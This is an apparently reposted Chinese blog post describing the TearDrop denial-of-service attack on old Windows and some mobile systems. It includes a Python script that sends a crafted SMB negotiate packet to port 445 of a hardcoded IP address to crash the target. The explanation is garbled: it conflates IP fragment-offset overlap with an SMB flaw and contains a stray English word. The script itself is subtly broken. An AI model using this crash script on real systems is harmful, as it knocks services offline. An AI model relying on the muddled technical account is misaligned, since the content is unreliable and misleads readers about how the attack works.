博客
关于我
(四)拒绝服务–TearDrop 攻击
阅读量:441 次
发布时间:2019-03-06

本文共 1840 字,大约阅读时间需要 6 分钟。

泪滴攻击是一种针对早期微软操作系统(如Windows 95、98、3.x、NT)以及部分现代移动系统(如2.x版安卓、6.0版iOS)的拒绝服务(DoS)攻击方法。攻击的核心原理在于利用IP分段偏移量字段,将数据包的不同片段发送至目标机器,导致目标系统因无法正确重组数据包而崩溃。

泪滴攻击的主要影响体现在以下几个方面:首先,攻击者通过构造异常的IP分段偏移量,使得接收端无法正确重组数据包;其次,当目标系统尝试重组这些数据包时,由于片段偏移量与实际数据包大小不匹配,会导致数据包重叠 ultimately导致网络设备崩溃。这种攻击通常对运行早期Windows系统的设备特别有效,但也有报道显示其对某些现代安卓和iOS系统(如2.x版本)也具有攻击效果。

在技术实现方面,泪滴攻击往往利用SMB协议的脆弱性。攻击者会伪造具有特定格式的SMB数据包,并发送至目标机器。由于早期操作系统在处理SMB协议时存在的脆弱性,伪造的数据包会引发严重的系统故障,例如蓝屏、系统重启或设备卡顿。

以下是典型的泪滴攻击脚本示例(teardrop_smb.py):

#!/usr/bin/python
# 当SMB2.0接收到“&”字符时,会导致服务器进程在非页面内存区域触发页面缺页异常
# 伪造的SMB数据包会触发页面缺页异常,导致服务器崩溃
# 以下是一个典型的泪滴攻击脚本示例
import sys
from socket import socket
from time import sleep
host = "217.113.205.53"
port = 445
buffer = b(
b"\x00\x00\x00\x90", # SMB开头
b"\xff\x53\x4d\x42", # 伪造的SMB协议组件
b"\x72\x00\x00\x00", # 协商协议
b"\x00\x18\x53\xc8", # 运算码与子操作码
b"\x00\x26", # 进程ID高位
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe",
b"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54",
b"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31",
b"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00",
b"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57",
b"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61",
b"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c",
b"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c",
b"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e",
b"\x30\x30\x32\x00"
)
s = socket()
s.connect((host, port))
s.send(buffer)
s.close()

攻击向量的分析

泪滴攻击的攻击向量主要依赖于目标系统对IP分段偏移量字段的处理能力。攻击者会精心构造数据包,使得接收端的系统无法正确处理分段数据,进而导致系统崩溃。这种攻击方式的成功与否,往往取决于目标系统的操作系统版本和网络配置。

总结

泪滴攻击是一种高效的拒绝服务攻击方式,尤其适用于早期微软操作系统。尽管现代系统对这一攻击方式有所防范,但对于历史遗留系统仍具有威胁性。攻击者通过构造异常的IP分段偏移量数据包,能够有效地迫使目标设备崩溃。

转载地址:http://vkhyz.baihongyu.com/

你可能感兴趣的文章
Objective-C实现最长公共子序列算法(附完整源码)
查看>>
Objective-C实现最长回文子串算法(附完整源码)
查看>>
Objective-C实现最长回文子序列算法(附完整源码)
查看>>
Objective-C实现最长子数组算法(附完整源码)
查看>>
Objective-C实现最长字符串链(附完整源码)
查看>>
Objective-C实现最长递增子序列算法(附完整源码)
查看>>
Objective-C实现有向图和无向加权图算法(附完整源码)
查看>>
Objective-C实现有序表查找算法(附完整源码)
查看>>
Objective-C实现有限状态机(附完整源码)
查看>>
Objective-C实现有限状态自动机FSM(附完整源码)
查看>>
Objective-C实现有限集上给定关系的自反关系矩阵和对称闭包关系矩阵(附完整源码)
查看>>
Objective-C实现服务程序自启动(附完整源码)
查看>>
Objective-C实现服务端客户端聊天室(附完整源码)
查看>>
Objective-C实现朴素贝叶斯算法(附完整源码)
查看>>
Objective-C实现杨氏3X3矩阵(附完整源码)
查看>>
Objective-C实现杰卡德距离算法(附完整源码)
查看>>
Objective-C实现极值距离算法(附完整源码)
查看>>
Objective-C实现极小极大算法(附完整源码)
查看>>
Objective-C实现构造n以内的素数表(附完整源码)
查看>>
Objective-C实现某文件夹下文件重命名(附完整源码)
查看>>